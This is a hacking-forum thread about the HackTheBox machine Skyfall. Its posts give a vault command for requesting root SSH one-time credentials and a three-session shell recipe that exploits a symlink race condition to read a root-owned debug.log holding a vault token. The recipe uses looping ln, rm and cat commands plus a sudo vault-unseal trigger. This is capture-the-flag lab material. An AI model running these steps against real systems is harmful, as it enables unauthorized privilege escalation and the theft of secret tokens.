Temporary Advertisements:
Ad
Ad
Ad
Skyfall - HTB
by paven - Saturday February 3, 2024 at 02:10 PM
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"
Reply
(Jul 01, 2024, 05:38 AM)sharknpls Wrote:
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.
Reply
(Jul 01, 2024, 02:03 PM)quarantineph2020 Wrote:
(Jul 01, 2024, 05:38 AM)sharknpls Wrote:
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.

ho to exploit this symlink race condition
please!
Reply
(Jul 23, 2024, 08:32 PM)xiliobingo Wrote:
(Jul 01, 2024, 02:03 PM)quarantineph2020 Wrote:
(Jul 01, 2024, 05:38 AM)sharknpls Wrote:
(Jun 20, 2024, 09:41 AM)SpiritWolf Wrote: Anyone? Noone at all?

I think this will help you if root is what you seek:
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip="10.10.11.254" username="root"

he won't be able to SSH as root unless he has the proper vault token, which is in the debug.log file (owned by root).

Need to exploit the symlink race condition while logged in as askyy in order to get the token.

ho to exploit this symlink race condition
please!


Relevant article here: https://hackmd.io/@bachtam2001/BkZkudoLq

You need to open 3 SSH sessions, then:

# first SSH session - infinitely loop the symlink process for target logfile
while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done 2>/dev/null

# second SSH session - loop to try to access file contents of symlink
while true; do cat /dev/shm/symlink.log; done 2>/dev/null

# third SSH session (may need to do it a few times) - trigger the creation of the logfile
sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,218 3 hours ago
Last Post: Kazahk
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 85 11,225 3 hours ago
Last Post: Kazahk
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 165 34,710 Today, 08:27 AM
Last Post: groningen1981
  Finding solutions/flags/writeups for challenges meomeothantai 0 161 Today, 04:13 AM
Last Post: meomeothantai
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 625 115,378 Today, 03:26 AM
Last Post: kevin25hxl

Forum Jump:


 Users browsing this forum: 1 Guest(s)